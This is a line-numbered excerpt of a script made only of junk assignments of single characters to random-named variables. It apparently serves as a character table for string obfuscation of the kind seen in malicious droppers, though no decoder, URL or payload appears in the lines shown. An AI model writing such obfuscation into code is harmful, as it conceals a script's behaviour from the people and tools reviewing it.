153	fpdvb = "q";
154	fpdvb = "k";
155	fpdvb = "i";
156	fpdvb = "G";
157	fpdvb = "p";
158	fpdvb = "Z";
159	fpdvb = "T";
160	fpdvb = "l";
161	fpdvb = "A";
162	fpdvb = "f";
163	fpdvb = "Y";
164	fpdvb = "K";
165	fpdvb = "n";
166	fpdvb = "v";
167	fpdvb = "s";
168	fpdvb = "R";
169	fpdvb = "u";
170	fpdvb = "i";
171	fpdvb = "I";
172	fpdvb = "O";
173	fpdvb = "U";
174	fpdvb = "h";
175	fpdvb = "D";
176	fpdvb = "s";
177	fpdvb = "Q";
178	fpdvb = "H";
179	fpdvb = "J";
180	fpdvb = "-";
181	bayub = "P";
182	bayub = "H";
183	bayub = "c";
184	bayub = "B";
185	bayub = "k";
186	bayub = "Q";
187	bayub = "t";
188	bayub = "v";
189	bayub = "T";
190	bayub = "X";
191	bayub = "Q";
192	bayub = "S";
193	bayub = "T";
194	bayub = "L";
195	bayub = "x";
196	bayub = "w";
197	bayub = "A";
198	bayub = "s";
199	bayub = "F";
200	bayub = "I";
201	bayub = "p";
202	bayub = "t";
203	bayub = "k";
204	bayub = "k";
205	bayub = "B";
206	bayub = "r";
207	bayub = "y";
208	bayub = "Z";
209	bayub = "F";
210	bayub = "j";
211	bayub = "q";
212	bayub = "y";
213	bayub = "e";
214	bayub = "&";
215	ojmpte = "V";
216	ojmpte = "J";
217	ojmpte = "u";
218	ojmpte = "l";
219	ojmpte = "r";
220	ojmpte = "R";
221	ojmpte = "L";
222	zmpiwojuz = "V";
223	zmpiwojuz = "g";
224	zmpiwojuz = "z";
225	zmpiwojuz = "U";
226	zmpiwojuz = "c";
227	zmpiwojuz = "R";
228	zmpiwojuz = "I";
229	zmpiwojuz = "8";
230	rutmoktff = "Y";
231	rutmoktff = "u";
232	rutmoktff = "N";
233	rutmoktff = "d";
234	rutmoktff = "q";
235	rutmoktff = "c";
236	rutmoktff = "G";
237	rutmoktff = "C";
238	rutmoktff = "h";
239	rutmoktff = "u";
240	rutmoktff = "h";
241	rutmoktff = "J";
242	rutmoktff = "Q";
243	rutmoktff = " ";
244	lsrle = "Z";
245	lsrle = "q";
246	lsrle = "A";
247	lsrle = "n";
248	lsrle = "d";
249	lsrle = "V";
250	lsrle = "Z";
251	lsrle = "Z";
252	lsrle = "m";
253	lsrle = "I";
254	lsrle = "w";
255	lsrle = "S";
256	lsrle = "d";
257	lsrle = "e";
258	lsrle = "S";
259	lsrle = "N";
260	lsrle = "k";
261	lsrle = "G";
262	lsrle = "y";
263	lsrle = "d";
264	lsrle = "x";
265	dvwrcd = "w";
266	dvwrcd = "e";
267	dvwrcd = "o";
268	dvwrcd = "f";
269	dvwrcd = "Z";
270	dvwrcd = "P";
271	dvwrcd = "H";
272	dvwrcd = "N";
273	dvwrcd = "u";
274	dvwrcd = "C";
275	dvwrcd = "C";
276	dvwrcd = "Q";
277	dvwrcd = "D";
278	dvwrcd = "Q";
279	dvwrcd = "E";
280	dvwrcd = "i";
281	dvwrcd = "K";
282	dvwrcd = "x";
283	dvwrcd = "D";
284	dvwrcd = "V";
285	dvwrcd = "@";
286	evpaicr = "c";
287	evpaicr = "c";
288	evpaicr = "z";
289	evpaicr = "R";
290	evpaicr = "L";
291	evpaicr = "Z";
292	evpaicr = "T";
293	evpaicr = "T";
294	evpaicr = "s";
295	evpaicr = "y";
296	evpaicr = "X";
297	evpaicr = "u";
298	evpaicr = "S";
299	evpaicr = "K";
300	evpaicr = "x";
301	evpaicr = "g";
302	evpaicr = "2";
303	rlsymuan = "u";
304	rlsymuan = "B";
305	rlsymuan = "E";
306	rlsymuan = "C";
307	rlsymuan = "v";
308	rlsymuan = "Q";
309	rlsymuan = "u";
310	rlsymuan = "p";
311	rlsymuan = "q";
312	zhqso = "V";
313	zhqso = "O";
314	zhqso = "n";
315	zhqso = "r";
316	zhqso = "g";
317	zhqso = "y";
318	zhqso = "B";
319	zhqso = "n";
320	ubimp = "v";
321	ubimp = "W";
322	ubimp = "M";
323	ubimp = "b";
324	ubimp = "a";
325	ubimp = "R";
326	ubimp = "y";
327	ubimp = "a";
328	ubimp = "W";
329	ubimp = "r";
330	ubimp = "G";
331	ubimp = "b";
332	ubimp = ".";
333	lcgoymman = "n";
334	lcgoymman = "u";
335	lcgoymman = "n";
336	lcgoymman = "f";
337	lcgoymman = "C";
338	lcgoymman = "y";
339	lcgoymman = "K";
340	lcgoymman = "q";
341	lcgoymman = "c";
342	lcgoymman = "V";
343	lcgoymman = "F";
344	vsalupq = "c";
345	vsalupq = "M";
346	vsalupq = "a";
347	vsalupq = "f";
348	vsalupq = "b";
349	vsalupq = "V";
350	vsalupq = "f";
351	vsalupq = "v";
352	vsalupq = "o";
353	vsalupq = "b";
354	ovmiixkau = "E";
355	ovmiixkau = "c";
356	jmvkarv = "I";
357	jmvkarv = "Q";
358	jmvkarv = "x";
359	jmvkarv = "O";
360	jmvkarv = "S";
361	jmvkarv = "l";
362	jmvkarv = "L";
363	jmvkarv = "L";
364	jmvkarv = "K";
365	jmvkarv = "t";
366	jmvkarv = "p";
367	jmvkarv = "N";
368	jmvkarv = "V";
369	jmvkarv = "d";
370	jmvkarv = "h";
371	jmvkarv = "O";
372	jmvkarv = "k";
373	jmvkarv = "j";
374	jmvkarv = "B";
375	jmvkarv = "v";
376	jmvkarv = "3";
377	aaefyu = "A";
378	aaefyu = "B";
379	aaefyu = "P";
380	aaefyu = "P";
381	aaefyu = "s";
382	aaefyu = "o";
383	aaefyu = "z";
384	aaefyu = "t";
385	aaefyu = "N";
386	aaefyu = "N";
387	aaefyu = "Y";
388	aaefyu = "t";
389	aaefyu = "O";
390	aaefyu = "Y";
391	aaefyu = "J";
392	aaefyu = "o";
393	aaefyu = "v";
394	aaefyu = "K";
395	lqkej = "E";
396	lqkej = "p";
397	lqkej = "w";
398	lqkej = "N";
399	lqkej = "L";
400	lqkej = "a";
401	lqkej = "Y";
402	lqkej = "C";
403	qwxqj = "g";
404	qwxqj = "R";
405	qwxqj = "S";
406	qwxqj = "Z";
407	qwxqj = "c";
408	qwxqj = "v";
409	qwxqj = "Q";
410	qwxqj = "i";
411	eogpd = "M";
412	eogpd = "A";
413	eogpd = "c";
414	eogpd = "r";
415	eogpd = "f";
416	eogpd = "e";
417	eogpd = "d";
418	eogpd = "U";
419	eogpd = "f";
420	eogpd = "f";
421	eogpd = "A";
422	eogpd = "O";
423	eogpd = "h";
424	eogpd = "I";
425	eogpd = "P";
426	eogpd = "z";
427	eogpd = "L";
428	eogpd = "Y";
429	eogpd = "o";
430	eogpd = "W";
431	eogpd = "o";
432	eogpd = "A";
433	eogpd = "b";
434	eogpd = "V";
435	eogpd = "u";
436	eogpd = "j";
437	eogpd = "l";
438	acwbvane = "C";
439	acwbvane = "J";
440	acwbvane = "A";
441	acwbvane = "y";
442	acwbvane = "o";
443	acwbvane = "h";
444	acwbvane = "e";
445	acwbvane = "e";
446	acwbvane = "h";
447	acwbvane = "W";
448	acwbvane = "K";
449	acwbvane = "F";
450	acwbvane = "K";
451	acwbvane = "k";
452	ceujq = "E";
453	ceujq = "y";
454	ceujq = "o";
455	ceujq = "r";
456	ceujq = "S";
457	ceujq = "I";
458	ceujq = "e";
459	ceujq = "F";
460	ceujq = "P";
461	ceujq = "i";
462	ceujq = "G";
463	ceujq = "U";
464	ceujq = "g";
465	ceujq = "X";
466	ceujq = "E";
467	ceujq = "q";
468	ceujq = "p";
469	ceujq = "j";
470	ceujq = "z";
471	ceujq = "m";
472	ceujq = "a";
473	jryjf = "W";
474	jryjf = "U";
475	jryjf = "B";
476	jryjf = "s";
477	jryjf = "M";
478	jryjf = "z";
479	jryjf = "Q";
480	jryjf = "F";
481	jryjf = "e";
482	jryjf = "a";
483	jryjf = "M";
484	jryjf = "o";
485	jryjf = "N";
486	jryjf = "n";
487	jryjf = "L";
488	jryjf = "T";
489	jryjf = "V";
490	jryjf = "V";
491	jryjf = "U";
492	jryjf = "C";
493	jryjf = "F";
494	jryjf = "B";
495	jryjf = "a";
496	jryjf = "F";
497	jryjf = "X";
498	jryjf = "e";
499	esqmow = "V";
500	esqmow = "v";
501	esqmow = "T";
502	esqmow = "U";
503	esqmow = "k";
504	esqmow = "T";
505	esqmow = "G";
506	esqmow = "Q";
507	esqmow = "p";
508	esqmow = "Z";
509	esqmow = "d";
510	esqmow = "q";
511	esqmow = "A";
512	esqmow = "D";
513	esqmow = "0";
514	atmjlut = "J";
515	atmjlut = "O";
516	atmjlut = "R";
517	atmjlut = "M";
518	atmjlut = "A";
519	atmjlut = "a";
520	atmjlut = "l";
521	atmjlut = "U";
522	atmjlut = "y";
523	atmjlut = "e";
524	atmjlut = "h";
525	atmjlut = "Y";
526	atmjlut = "F";
527	atmjlut = "F";
528	atmjlut = "i";
529	atmjlut = "k";
530	atmjlut = "s";
531	atmjlut = "G";
532	atmjlut = "v";
533	atmjlut = "S";
534	atmjlut = "Z";
535	atmjlut = "O";
536	atmjlut = "z";
537	atmjlut = "e";
538	atmjlut = "t";
539	atmjlut = "r";
540	atmjlut = "L";
541	atmjlut = "P";
542	atmjlut = "j";
543	atmjlut = "k";
544	atmjlut = "C";
545	atmjlut = "R";
546	atmjlut = "G";
547	atmjlut = ":";
548	omeyzfue = "l";
549	omeyzfue = "F";
550	omeyzfue = "s";
551	omeyzfue = "p";
552	ixxcxfxc = "N";
553	ixxcxfxc = "A";
554	ixxcxfxc = "O";
555	ixxcxfxc = "u";
556	ixxcxfxc = "U";
557	ixxcxfxc = "W";
558	ixxcxfxc = "p";
559	ixxcxfxc = "Z";
560	ixxcxfxc = "A";
561	ixxcxfxc = "j";
562	ixxcxfxc = "R";
563	ixxcxfxc = "I";
564	ixxcxfxc = "Z";
565	ixxcxfxc = "W";
566	ixxcxfxc = "w";
567	ixxcxfxc = "G";
568	ixxcxfxc = "G";
569	ixxcxfxc = "k";
570	ixxcxfxc = "j";
571	ixxcxfxc = "e";
572	ixxcxfxc = "J";
573	ixxcxfxc = "a";
574	ixxcxfxc = "B";
575	ixxcxfxc = "U";
576	ixxcxfxc = "q";
577	ixxcxfxc = "f";
578	ixxcxfxc = "p";
579	ixxcxfxc = "I";
580	ixxcxfxc = "M";
581	ixxcxfxc = "I";
582	ixxcxfxc = "u";
583	ixxcxfxc = "i";
584	ixxcxfxc = "R";
585	ixxcxfxc = "W";
586	pnvrkn = "M";
587	pnvrkn = "V";
588	pnvrkn = "U";
589	pnvrkn = "r";
590	pnvrkn = "k";
591	pnvrkn = "r";
592	pnvrkn = "Y";
593	pnvrkn = "k";
594	pnvrkn = "B";
595	pnvrkn = "C";
596	pnvrkn = "h";
597	pnvrkn = "n";
598	pnvrkn = "L";
599	pnvrkn = "m";
600	pnvrkn = "v";
601	pnvrkn = "w";
602	pnvrkn = "U";
603	pnvrkn = "q";
604	pnvrkn = "T";
605	pnvrkn = "A";
606	pnvrkn = "A";
607	pnvrkn = "P";
608	pnvrkn = "D";
609	pnvrkn = "q";
610	pnvrkn = "p";
611	pnvrkn = "v";
612	pnvrkn = "s";
613	pnvrkn = "L";
614	pnvrkn = "g";
615	pnvrkn = "S";
616	pnvrkn = "I";
617	pnvrkn = "K";
618	pnvrkn = "m";
619	pnvrkn = "4";
620	norhnj = "o";
621	norhnj = "U";
622	norhnj = "W";
623	norhnj = "r";
624	norhnj = "M";
625	norhnj = "w";
626	norhnj = "e";
627	norhnj = "i";
628	norhnj = "J";
629	norhnj = "P";
630	norhnj = "c";
631	norhnj = "n";
632	norhnj = "Y";
633	norhnj = "p";
634	norhnj = "T";
635	norhnj = "s";
636	norhnj = "X";
637	norhnj = "K";
638	norhnj = "Z";
639	norhnj = "I";
640	norhnj = "t";
641	norhnj = "M";
642	norhnj = "v";
643	norhnj = "z";
644	norhnj = "b";
645	norhnj = "b";
646	norhnj = "C";
647	norhnj = "k";
648	norhnj = "h";
649	norhnj = "N";
650	nvoizencq = "J";
651	nvoizencq = "l";
652	nvoizencq = "w";
653	nvoizencq = "e";
654	nvoizencq = "q";
655	nvoizencq = "j";
656	nvoizencq = "N";
657	nvoizencq = "d";
658	nvoizencq = "I";
659	nvoizencq = "H";
660	nvoizencq = "J";
661	nvoizencq = "E";
662	nvoizencq = "z";
663	nvoizencq = "M";
664	nvoizencq = "p";
665	nvoizencq = "L";
666	nvoizencq = "S";
667	nvoizencq = "U";
668	nvoizencq = "s";
669	nvoizencq = "H";
670	nvoizencq = "t";
671	nvoizencq = "R";
672	nvoizencq = "x";
673	nvoizencq = "F";
674	nvoizencq = "V";
675	nvoizencq = "I";
676	nvoizencq = "y";
677	nvoizencq = "m";
678	wclfvnfkm = "r";
679	wclfvnfkm = "a";
680	wclfvnfkm = "l";
681	wclfvnfkm = "H";
682	wclfvnfkm = "D";
683	wclfvnfkm = "r";
684	wclfvnfkm = "y";
685	wclfvnfkm = "Z";
686	wclfvnfkm = "w";
687	wclfvnfkm = "A";
688	wclfvnfkm = "x";
689	wclfvnfkm = "g";
690	wclfvnfkm = "B";
691	wclfvnfkm = "V";
692	wclfvnfkm = "o";
693	wclfvnfkm = "S";
694	wclfvnfkm = "a";
695	wclfvnfkm = "v";
696	wclfvnfkm = "D";
697	wclfvnfkm = "S";
698	wclfvnfkm = "N";
699	wclfvnfkm = "B";
700	wclfvnfkm = "l";
701	wclfvnfkm = "b";
702	wclfvnfkm = "c";
703	wclfvnfkm = "G";
704	wclfvnfkm = "z";
705	wclfvnfkm = "W";
706	wclfvnfkm = "S";
707	wclfvnfkm = "E";
708	wclfvnfkm = "v";
709	osqdlam = "o";
710	osqdlam = "S";
711	osqdlam = "a";
712	osqdlam = "e";
713	osqdlam = "n";
714	osqdlam = "s";
715	osqdlam = "V";
716	osqdlam = "X";
717	osqdlam = "j";
718	osqdlam = "B";
719	osqdlam = "j";
720	osqdlam = "K";
721	osqdlam = "V";
722	osqdlam = "J";
723	osqdlam = "l";
724	osqdlam = "R";
725	uuhdvi = "f";
726	uuhdvi = "n";
727	uuhdvi = "I";
728	uuhdvi = "U";
729	uuhdvi = "b";
730	uuhdvi = "H";
731	uuhdvi = "v";
732	uuhdvi = "H";
733	uuhdvi = "a";
734	uuhdvi = "C";
735	uuhdvi = "W";
736	uuhdvi = "P";
737	uuhdvi = "u";
738	uuhdvi = "j";
739	uuhdvi = "U";
740	uuhdvi = "m";
741	uuhdvi = "7";
742	fsnvnc = "V";
743	fsnvnc = "I";
744	fsnvnc = "w";
745	fsnvnc = "L";
746	fsnvnc = "x";
747	fsnvnc = "O";
748	fsnvnc = "B";
749	fsnvnc = "c";
750	fsnvnc = "t";
751	fsnvnc = "d";
752	fsnvnc = "Q";
753	fsnvnc = "O";
754	fsnvnc = "h";
755	fsnvnc = "W";
756	fsnvnc = "K";
757	fsnvnc = "d";
758	fsnvnc = "I";
759	fsnvnc = "B";
760	fsnvnc = "Y";
761	fsnvnc = "e";
762	fsnvnc = "i";
763	fsnvnc = "S";
764	hiwsson = "G";
765	hiwsson = "N";
766	hiwsson = "F";
767	hiwsson = "C";
768	hiwsson = "z";
769	hiwsson = "U";
770	dkrzlznm = "s";
771	dkrzlznm = "e";
772	dkrzlznm = "E";
773	dkrzlznm = "k";
774	dkrzlznm = "Y";
775	dkrzlznm = "g";
776	dkrzlznm = "l";
777	dkrzlznm = "f";
778	dkrzlznm = "t";
779	dkrzlznm = "u";
780	dkrzlznm = "S";
781	dkrzlznm = "F";
782	dkrzlznm = "i";
783	dkrzlznm = "j";
784	dkrzlznm = "d";
785	dkrzlznm = "w";
786	dkrzlznm = "o";
787	dkrzlznm = "Q";
788	dkrzlznm = "B";
789	dkrzlznm = "g";
790	dkrzlznm = "G";
791	dkrzlznm = "Q";
792	dkrzlznm = "c";
793	dkrzlznm = "i";
794	dkrzlznm = "n";
795	dkrzlznm = "G";
796	dkrzlznm = "C";
797	dkrzlznm = "i";
798	dkrzlznm = "X";
799	dkrzlznm = "Z";
800	dkrzlznm = "r";
801	dkrzlznm = "n";
802	dkrzlznm = "u";
803	dkrzlznm = "a";
804	dkrzlznm = "L";
805	dkrzlznm = "c";
806	dkrzlznm = "u";
807	czadywr = "J";
808	czadywr = "i";
809	czadywr = "N";
810	czadywr = "W";
811	czadywr = "Z";
812	czadywr = "w";
813	czadywr = "w";
814	czadywr = "H";
815	wwwsqpx = "a";
816	wwwsqpx = "D";
817	wwwsqpx = "v";
818	wwwsqpx = "x";
819	wwwsqpx = "T";
820	wwwsqpx = "R";
821	wwwsqpx = "x";
822	wwwsqpx = "h";
823	wwwsqpx = "m";
824	wwwsqpx = "q";
825	wwwsqpx = "K";
826	wwwsqpx = "t";
827	wwwsqpx = "V";
828	wwwsqpx = "q";
829	wwwsqpx = "y";
830	wwwsqpx = "l";
831	wwwsqpx = "K";
832	wwwsqpx = "h";
833	cznomqxmb = "n";
834	cznomqxmb = "m";
835	cznomqxmb = "V";
836	cznomqxmb = "A";
837	cznomqxmb = "H";
838	cznomqxmb = "O";
839	cznomqxmb = "g";
840	cznomqxmb = "l";
841	cznomqxmb = "H";
842	cznomqxmb = "A";
843	cznomqxmb = "w";
844	cznomqxmb = "p";
845	cznomqxmb = "A";
846	cznomqxmb = "c";
847	cznomqxmb = "l";
848	cznomqxmb = "Q";
849	cznomqxmb = "j";
850	cznomqxmb = "X";
851	cznomqxmb = "l";
852	cznomqxmb = "L";
853	cznomqxmb = "e";
854	cznomqxmb = "J";
855	cznomqxmb = "I";
856	cznomqxmb = "x";
857	cznomqxmb = "e";
858	cznomqxmb = "k";
859	cznomqxmb = "Z";
860	cznomqxmb = "x";
861	cznomqxmb = "v";
862	cznomqxmb = "D";
863	cznomqxmb = "l";
864	cznomqxmb = "x";
865	cznomqxmb = "g";
866	cznomqxmb = "w";
867	cznomqxmb = "H";
868	cznomqxmb = "s";
869	cznomqxmb = "r";
870	cznomqxmb = "B";
871	cznomqxmb = "z";
872	cznomqxmb = "B";
873	cznomqxmb = "6";
874	gcstlhq = "P";
875	gcstlhq = "H";
876	gcstlhq = "I";
877	gcstlhq = "r";
878	khlbxfad = "I";
879	khlbxfad = "j";
880	khlbxfad = "K";
881	khlbxfad = "L";
882	khlbxfad = "c";
883	khlbxfad = "O";
884	khlbxfad = "U";
885	khlbxfad = "o";
886	khlbxfad = "q";
887	khlbxfad = "o";
888	khlbxfad = "U";
889	khlbxfad = "y";
890	khlbxfad = "o";
891	khlbxfad = "q";
892	khlbxfad = "i";
893	khlbxfad = "w";
894	khlbxfad = "F";
895	khlbxfad = "D";
896	khlbxfad = "I";
897	khlbxfad = "X";
898	khlbxfad = "F";
899	khlbxfad = "p";
900	khlbxfad = "K";
901	khlbxfad = "w";
902	khlbxfad = "m";
903	khlbxfad = "E";
904	khlbxfad = "m";
905	khlbxfad = "k";
906	khlbxfad = "1";
907	dqrovuh = "s";
908	dqrovuh = "Y";
909	dqrovuh = "T";
910	dqrovuh = "O";
911	dqrovuh = "k";
912	dqrovuh = "T";
913	dqrovuh = "b";
914	dqrovuh = "J";
915	dqrovuh = "v";
916	dqrovuh = "A";
917	dqrovuh = "A";
918	dqrovuh = "o";
919	dqrovuh = "U";
920	dqrovuh = "J";
921	dqrovuh = "u";
922	dqrovuh = "g";
923	dqrovuh = "h";
924	dqrovuh = "X";
925	dqrovuh = "P";
926	dqrovuh = "e";
927	dqrovuh = "P";
928	dqrovuh = "x";
929	dqrovuh = "T";
930	dqrovuh = "N";
931	dqrovuh = "S";
932	dqrovuh = "l";
933	dqrovuh = "c";
934	dqrovuh = "c";
935	dqrovuh = "D";
936	dqrovuh = "y";
937	dqrovuh = "G";
938	dqrovuh = "I";
939	dqrovuh = "H";
940	dqrovuh = "e";
941	dqrovuh = "x";
942	dqrovuh = "S";
943	dqrovuh = "F";
944	dqrovuh = "b";
945	dqrovuh = "d";
946	dqrovuh = "P";
947	dqrovuh = "x";
948	dqrovuh = "Y";
949	dqrovuh = "\"";
950	oifodn = "j";
951	oifodn = "K";
952	oifodn = "Q";
953	oifodn = "u";
954	oifodn = "d";
955	oifodn = "c";
956	oifodn = "c";
957	oifodn = "g";
958	oifodn = "M";
959	oifodn = "q";
960	oifodn = "k";
961	oifodn = "s";
962	oifodn = "L";
963	oifodn = "F";
964	oifodn = "G";
965	oifodn = "M";
966	oifodn = "O";
967	oifodn = "N";
968	oifodn = "J";
969	oifodn = "c";
970	oifodn = "F";
971	oifodn = "Z";
972	oifodn = "O";
973	oifodn = "N";
974	oifodn = "P";
975	oifodn = "W";
976	oifodn = "e";
977	oifodn = "r";
978	oifodn = "U";
979	oifodn = "a";
980	oifodn = "K";
981	oifodn = "b";
982	oifodn = "B";
983	oifodn = "s";
984	oifodn = "o";
985	oifodn = "9";
986	delzb = "U";
987	delzb = "x";
988	delzb = "q";
989	delzb = "m";
990	delzb = "C";
991	delzb = "E";
992	delzb = "U";
993	delzb = "c";
994	delzb = "T";
995	delzb = "n";
996	delzb = "g";
997	delzb = "I";
998	delzb = "n";
999	delzb = "d";
1000	delzb = "x";
1001	delzb = "e";
1002	delzb = "N";
1003	delzb = "R";
1004	delzb = "s";
1005	delzb = "J";
1006	delzb = "P";
1007	delzb = "I";
1008	delzb = "l";
1009	delzb = "P";
1010	drqzdavu = "o";
1011	drqzdavu = "N";
1012	drqzdavu = "p";
1013	drqzdavu = "q";
1014	drqzdavu = "5";
1015	osvqg = "h";
1016	osvqg = "P";
1017	osvqg = "A";
1018	osvqg = "W";
1019	osvqg = "o";
1020	osvqg = "T";
1021	osvqg = "U";
1022	osvqg = "r";
1023	osvqg = "f";
1024	osvqg = "G";
1025	osvqg = "c";
1026	osvqg = "u";
1027	osvqg = "O";
1028	bmagqm = "a";
1029	bmagqm = "u";
1030	bmagqm = "p";
1031	bmagqm = "D";
1032	bmagqm = "V";
1033	bmagqm = "o";
1034	bmagqm = "t";
1035	bmagqm = "O";
1036	bmagqm = "e";
1037	bmagqm = "x";
1038	bmagqm = "P";
1039	bmagqm = "N";
1040	bmagqm = "H";
1041	bmagqm = "F";
1042	bmagqm = "%";
1043	wuspua = "y";
1044	wuspua = "G";
1045	wuspua = "I";
1046	wuspua = "F";
1047	wuspua = "i";
1048	wuspua = "a";
1049	wuspua = "Z";
1050	wuspua = "B";
1051	wuspua = "T";
1052	wuspua = "S";
1053	wuspua = "P";
1054	wuspua = "Q";
1055	ikwwevmqr = "E";
1056	ikwwevmqr = "H";
1057	ikwwevmqr = "M";
1058	ikwwevmqr = "U";
1059	ikwwevmqr = "W";
1060	ikwwevmqr = "d";
1061	ikwwevmqr = "u";
1062	ikwwevmqr = "u";
1063	ikwwevmqr = "l";
1064	ikwwevmqr = "h";
1065	ikwwevmqr = "l";
1066	ikwwevmqr = "M";
1067	ikwwevmqr = "a";
1068	ikwwevmqr = "O";
1069	ikwwevmqr = "k";
1070	ikwwevmqr = "V";
1071	ikwwevmqr = "y";
1072	ikwwevmqr = "r";
1073	ikwwevmqr = "N";
1074	ikwwevmqr = "M";
1075	ikwwevmqr = "m";
1076	ikwwevmqr = "j";
1077	ikwwevmqr = "U";
1078	ikwwevmqr = "i";
1079	ikwwevmqr = "O";
1080	ikwwevmqr = "A";
1081	ikwwevmqr = "y";
1082	ikwwevmqr = "T";
1083	ggwzjaxk = "f";
1084	ggwzjaxk = "U";
1085	ggwzjaxk = "l";
1086	ggwzjaxk = "c";
1087	ggwzjaxk = "s";
1088	ggwzjaxk = "k";
1089	ggwzjaxk = "y";
1090	ggwzjaxk = "v";
1091	ggwzjaxk = "M";
1092	ggwzjaxk = "k";
1093	ggwzjaxk = "Q";
1094	ggwzjaxk = "W";
1095	ggwzjaxk = "X";
1096	ggwzjaxk = "q";
1097	ggwzjaxk = "t";
1098	ggwzjaxk = "K";
1099	ggwzjaxk = "M";
1100	ggwzjaxk = "e";
1101	ggwzjaxk = "A";
1102	ggwzjaxk = "y";
1103	ggwzjaxk = "o";
1104	ggwzjaxk = "r";
1105	ggwzjaxk = "D";
1106	ggwzjaxk = "q";
1107	ggwzjaxk = "g";
1108	ggwzjaxk = "e";
1109	ggwzjaxk = "Q";
1110	ggwzjaxk = "s";
1111	ggwzjaxk = "U";
1112	ggwzjaxk = "g";
1113	ggwzjaxk = "p";
1114	ggwzjaxk = "T";
1115	ggwzjaxk = "M";
1116	ggwzjaxk = "r";
1117	ggwzjaxk = "D";
1118	ggwzjaxk = "w";
1119	gfyvjmukr = "O";
1120	gfyvjmukr = "Q";
1121	gfyvjmukr = "g";
1122	gfyvjmukr = "k";
1123	gfyvjmukr = "N";
1124	gfyvjmukr = "Q";
1125	gfyvjmukr = "l";
1126	gfyvjmukr = "N";
1127	gfyvjmukr = "k";
1128	gfyvjmukr = "Z";
1129	gfyvjmukr = "a";
1130	gfyvjmukr = "v";
1131	gfyvjmukr = "d";
1132	gfyvjmukr = "C";
1133	gfyvjmukr = "l";
1134	gfyvjmukr = "G";
1135	gfyvjmukr = "S";
1136	gfyvjmukr = "q";
1137	gfyvjmukr = "r";
1138	gfyvjmukr = "X";
1139	gfyvjmukr = "m";
1140	gfyvjmukr = "j";
1141	gfyvjmukr = "m";
1142	gfyvjmukr = "q";
1143	gfyvjmukr = "W";
1144	gfyvjmukr = "T";
1145	gfyvjmukr = "S";
1146	gfyvjmukr = "l";
1147	gfyvjmukr = "I";
1148	gfyvjmukr = "v";
1149	gfyvjmukr = "a";
1150	gfyvjmukr = "s";
1151	gfyvjmukr = "S";
1152	gfyvjmukr = "S";
1153	gfyvjmukr = "D";
1154	gfyvjmukr = "P";
1155	gfyvjmukr = "e";
1156	gfyvjmukr = "y";
1157	gfyvjmukr = "l";
1158	gfyvjmukr = "r";
1159	gfyvjmukr = "j";
1160	gfyvjmukr = "P";
1161	gfyvjmukr = "q";
1162	gfyvjmukr = "/";
1163	ospxi = "z";
1164	ospxi = "X";
1165	ospxi = "e";
1166	ospxi = "Z";
1167	ospxi = "d";
1168	ospxi = "o";
1169	ospxi = "U";
1170	ospxi = "f";
1171	ospxi = "Z";
1172	ospxi = "f";
1173	ospxi = "S";
1174	ospxi = "o";
1175	ospxi = "Z";
1176	ospxi = "n";
1177	ospxi = "V";
1178	ospxi = "D";
1179	ospxi = "K";
1180	ospxi = "D";
1181	ospxi = "E";
1182	ospxi = "d";
1183	ospxi = "g";
1184	ospxi = "j";
1185	ospxi = "d";
1186	ospxi = "G";
1187	ospxi = "s";
1188	krdsue = "m";
1189	krdsue = "F";
1190	krdsue = "w";
1191	krdsue = "M";
1192	krdsue = "u";
1193	krdsue = "K";
1194	krdsue = "v";
1195	krdsue = "r";
1196	krdsue = "a";
1197	krdsue = "c";
1198	krdsue = "F";
1199	krdsue = "C";
1200	krdsue = "w";
1201	krdsue = "I";
1202	krdsue = "F";
1203	krdsue = "R";
1204	krdsue = "s";
1205	krdsue = "J";
1206	krdsue = "r";
1207	krdsue = "E";
1208	krdsue = "d";
1209	krdsue = "v";
1210	krdsue = "z";
1211	krdsue = "_";
1212	twanmkxv = "b";
1213	twanmkxv = "p";
1214	twanmkxv = "E";
1215	twanmkxv = "O";
1216	twanmkxv = "k";
1217	twanmkxv = "E";
1218	ohrbs = "Y";
1219	ohrbs = "I";
1220	ohrbs = "R";
1221	ohrbs = "m";
1222	ohrbs = "g";
1223	ohrbs = "u";
1224	ohrbs = "n";
1225	ohrbs = "t";
1226	juqyefwij = "T";
1227	juqyefwij = "w";
1228	juqyefwij = "Z";
1229	juqyefwij = "o";
1230	juqyefwij = "x";
1231	juqyefwij = "A";
1232	juqyefwij = "r";
1233	juqyefwij = "s";
1234	juqyefwij = "p";
1235	juqyefwij = "k";
1236	juqyefwij = "A";
1237	juqyefwij = "L";
1238	juqyefwij = "l";
1239	juqyefwij = "e";
1240	juqyefwij = "B";
1241	juqyefwij = "e";
1242	juqyefwij = "R";
1243	juqyefwij = "f";
1244	juqyefwij = "q";
1245	juqyefwij = "G";
1246	juqyefwij = "s";
1247	juqyefwij = "c";
1248	juqyefwij = "N";
1249	juqyefwij = "v";
1250	juqyefwij = "e";
1251	juqyefwij = "l";
1252	juqyefwij = "q";
1253	juqyefwij = "L";
1254	juqyefwij = "a";
1255	juqyefwij = "U";
1256	juqyefwij = "l";
1257	juqyefwij = "s";
1258	juqyefwij = "x";
1259	juqyefwij = "K";
1260	juqyefwij = "e";
1261	juqyefwij = "R";
1262	juqyefwij = "Y";
1263	vngbxdxq = "U";
1264	vngbxdxq = "n";
1265	vngbxdxq = "m";
1266	vngbxdxq = "q";
1267	vngbxdxq = "v";
1268	vngbxdxq = "K";
1269	vngbxdxq = "M";
1270	vngbxdxq = "w";
1271	vngbxdxq = "i";
1272	vngbxdxq = "t";
1273	vngbxdxq = "T";
1274	vngbxdxq = "k";
1275	vngbxdxq = "w";
1276	vngbxdxq = "x";
1277	vngbxdxq = "d";
1278	vngbxdxq = "M";
1279	vngbxdxq = "z";
1280	vngbxdxq = "V";
1281	vngbxdxq = "y";
1282	vngbxdxq = "a";
1283	vngbxdxq = "C";
1284	vngbxdxq = "s";
1285	vngbxdxq = "k";
1286	vngbxdxq = "f";
1287	urkat = "t";
1288	urkat = "Z";
1289	urkat = "A";
1290	urkat = "j";
1291	urkat = "p";
1292	urkat = "Z";
1293	urkat = "M";
1294	urkat = "I";
1295	urkat = "L";
1296	urkat = "r";
1297	urkat = "o";
1298	urkat = "l";
1299	urkat = "H";
1300	urkat = "k";
1301	urkat = "d";
1302	urkat = "T";
1303	urkat = "w";
1304	urkat = "H";
1305	urkat = "M";
1306	urkat = "w";
1307	urkat = "C";
1308	urkat = "l";
1309	urkat = "T";
1310	urkat = "c";
1311	urkat = "G";
1312	urkat = "P";
1313	urkat = "O";
1314	urkat = "q";
1315	urkat = "b";
1316	urkat = "g";
1317	urkat = "z";
1318	urkat = "i";
